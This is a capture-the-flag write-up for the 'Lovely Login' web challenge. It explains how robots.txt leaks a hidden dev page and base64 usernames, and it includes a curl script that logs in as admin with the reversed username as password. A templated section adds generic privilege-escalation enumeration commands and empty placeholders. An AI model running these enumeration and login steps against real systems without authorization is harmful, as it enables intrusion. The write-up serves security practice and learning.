Lovely Login

Platform: Broncoctf2026 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: base64_decode, credential_derivation_reversed_username, dev_page_disclosure, robots_txt_enumeration

Summary

Task: Express login page whose developers 'forgot to clean up a few things'. Solution: robots.txt leaks a hidden /security route and a base64 blob of usernames; the dev notes reveal passwords are the username reversed, so logging in as admin/nimda returns the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: broncoctf2026 | ID: 20260711_broncoctf2026_lovely_login
• Tags: authentication_bypass, information_disclosure, base64, robots_txt, express, weak_credentials, reversed_password
• Indicators: do not scrape it hint in description, robots.txt with base64 comment and Disallow route, leftover /security dev notes page, X-Powered-By: Express login card
• Source: 20260711_broncoctf2026_lovely_login.md

Foothold

Vulnerability / Misconfiguration

1. Base64_decode
2. Credential_derivation_reversed_username
3. Dev_page_disclosure
4. Robots_txt_enumeration

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• base64_decode
• credential_derivation_reversed_username
• dev_page_disclosure
• robots_txt_enumeration
• Tags: authentication_bypass, information_disclosure, base64, robots_txt, express, weak_credentials, reversed_password

Original Writeup

<details><summary>Click to expand original content</summary>

Lovely Login — broncoctf2026

Description

Welcome to our lovely new login page 💕. The developers swear it's secure… but they may have forgotten to clean up a few things before launch. Can you figure out how authentication works and log in as the right user? P.S. please follow my wishes and do not scrape it...

An Express login page. Two planted hints in the description ("do not scrape it" → robots.txt, "forgotten to clean up" → leftover dev page) lead to information disclosure that reveals the credential scheme. Goal: log in as the correct user and read the flag.

Analysis

The main page (/) is an Express app (X-Powered-By: Express) serving a "Secure Database" login card. Client-side JS POSTs JSON {username, password} to /login.

The description's "do not scrape it" points at robots.txt:

User-agent: *
Disallow: /security

# amVmZixzYXJhaCx hZG1pbixndWVzdA==

robots.txt is not access control — it leaks both a hidden route (/security) and a base64 comment. Stripping the stray space and decoding:

amVmZixzYXJhaCxhZG1pbixndWVzdA== -> jeff,sarah,admin,guest

Those are the four valid usernames. The "forgot to clean up" hint points to the leaked /security dev notes page, which states:

• Passwords are derived from usernames
• Current implementation stores them backwards for obfuscation (i.e. password = username reversed)
• Planned upgrade: hashing + salting
• TODO: remove this page before production deployment!

So the auth scheme is weak by design: password == reverse(username).

Solution

Enumerate the disclosures, decode the usernames, derive the reversed password, and log in as admin.

#!/usr/bin/env bash
BASE="https://broncoctf-lovely-login.chals.io"

# 1. robots.txt leaks /security route + base64 usernames
curl -sk "$BASE/robots.txt"

# 2. decode usernames (strip the stray space first)
echo "amVmZixzYXJhaCx hZG1pbixndWVzdA==" | tr -d ' ' | base64 -d
# -> jeff,sarah,admin,guest

# 3. read leftover dev notes: password = username reversed
curl -sk "$BASE/security"

# 4. log in as admin with reversed password -> flag
curl -sk -H 'Content-Type: application/json' \
  --data '{"username":"admin","password":"nimda"}' \
  "$BASE/login"
# -> <pre>bronco{REDACTED}</pre>

Other users (jeff/sarah/guest) also authenticate with their reversed passwords, but only admin — the "right user" — returns the flag.

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR